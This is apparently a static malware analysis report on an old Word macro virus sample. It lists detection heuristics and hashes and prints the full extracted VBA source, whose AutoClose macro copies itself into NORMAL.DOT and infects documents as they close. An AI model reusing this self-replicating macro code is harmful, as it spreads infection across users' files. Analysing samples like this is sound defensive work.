Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fde3978bef43dd6a…

MALICIOUS

Office (OLE)

32.0 KB Created: 1996-10-12 01:45:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: bc5ee2d3b50f59343fbcfa14ea161097 SHA-1: 137c5deeb5907c85112572b8b485b3d0a5b3136a SHA-256: fde3978bef43dd6acaebf087d7b25542905782019071a094087c68882df41129
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as malicious by ClamAV and contains legacy WordBasic and VBA macros, specifically an Auto_Close macro. The AutoClose macro's code indicates it's designed to display a message about being an 'inert macro virus' and blaming supervisor negligence, which is a common social engineering tactic to mask malicious activity. While the provided script excerpt is truncated, the presence of the AutoClose macro and its known behavior suggests it's intended to execute malicious code upon document closure.

Heuristics 4

  • ClamAV: Doc.Trojan.Dmv-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Dmv-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10954 bytes
SHA-256: f0d66012bace3ac9688a529b3ae1a4c39d3c500e19f755a30a773a4904658bba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

'*********************************************************************'
'* Macro Name: Autoclose                                   *'
'* Date Authored: January 5, 1997                          *'
'* Strain: Macro.WinWord.Loophole.1                        *'
'* Function: To detect, and alert Supervisors of security loopholes  *'
'*           by representing a dangerous DMV, and providing them with*'
'*           valuable insight to the nature of macro Virii         *'
'* Author: PuP                                             *'
'*********************************************************************'
Public Sub MAIN()
Dim head$
Dim m$
Dim havefriends
Dim cycle
Dim a$
Dim copied
Dim logic
Dim d$
Dim tdate
Dim rand
Dim beeps
head$ = "Macro Virus Security Loophole"
m$ = "Hey there! This is an inert "
m$ = m$ + "macro virus.  It is the direct result of the neglagence of"
m$ = m$ + " your supervisor.  Please ask him/her to tighten up "
m$ = m$ + "security, because this could have been a killer, "
m$ = m$ + "and ruined your file(s)!"
m$ = m$ + Chr(13) + "                           -Pup"

' Check and see if the AutoClose macro is installed in global.
If WordBasic.CountWindows() <> 0 Then
havefriends = 0
For cycle = 1 To WordBasic.CountMacros(0)
    If WordBasic.[MacroName$](cycle, 0) = "AutoClose" Then
        havefriends = 1
    End If
Next cycle

' Get the current document name.
If WordBasic.[Left$](WordBasic.[WindowName$](), 8) <> "Document" Then
    a$ = WordBasic.[WindowName$]() + ":AutoClose"
End If

' If AutoClose isn't present, then copy it to NORMAL.DOT.
If havefriends = 0 Then
    ' The following code infects a document each time it is closed.
    ' This effectively spreads the macro virus each time an infected
    ' document is opened by Word.
    WordBasic.MacroCopy a$, "Global:AutoClose", 1
    copied = 1

Else
    ' If AutoClose is already global and the file hasn't been
    ' infected yet, save the current file as a
    ' template instead of a document so the macro can be attached.
    ' See if AutoClose is already in the document.  Don't need
    ' to check names because the virus would be the only code
    ' putting a macro in a document.

    havefriends = 0
    If WordBasic.CountMacros(1) <> 0 Then
        havefriends = 1
    End If
    If havefriends = 0 Then
        ' Save the document as a template.
        WordBasic.FileSaveAs Format:=1
        ' Then copy the AutoClose macro from NORMAL.DOT.
        If a$ <> "" Then WordBasic.MacroCopy "Global:AutoClose", a$, 1
        copied = 1
    End If
End If
    ' This is the payload that made you aware of this security loop hole
    logic = 970125
    d$ = WordBasic.[Date$]()
    tdate = WordBasic.Val(WordBasic.[Right$](d$, 2) + WordBasic.[Left$](d$, 2) + Mid(d$, 4, 2))
    If copied > 0 And logic <= tdate Then
            rand = WordBasic.Int(Rnd() * 49) + 1
            If rand Mod 10 = 0 Then
                WordBasic.Beep
                WordBasic.MsgBox m$, head$, 16
            ElseIf rand Mod 31 = 0 Then
                WordBasic.MsgBox "This computer will self destruct in 5 minutes", head$, 16
                WordBasic.WaitCursor 1
                For beeps = 1 To 150
                    WordBasic.Beep
                Next beeps
            End If
    End If
End If
End Sub

' Processing file: /opt/analyzer/scan_staging/484596993cfb458e99d5932b4b2061df.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoClose - 6734 bytes
' Line #0:
' Line #1:
' 	QuoteRem 0x0000 0x0046 "*********************************************************************'"
' Line #2:
' 	QuoteRem 0x0000
... (truncated)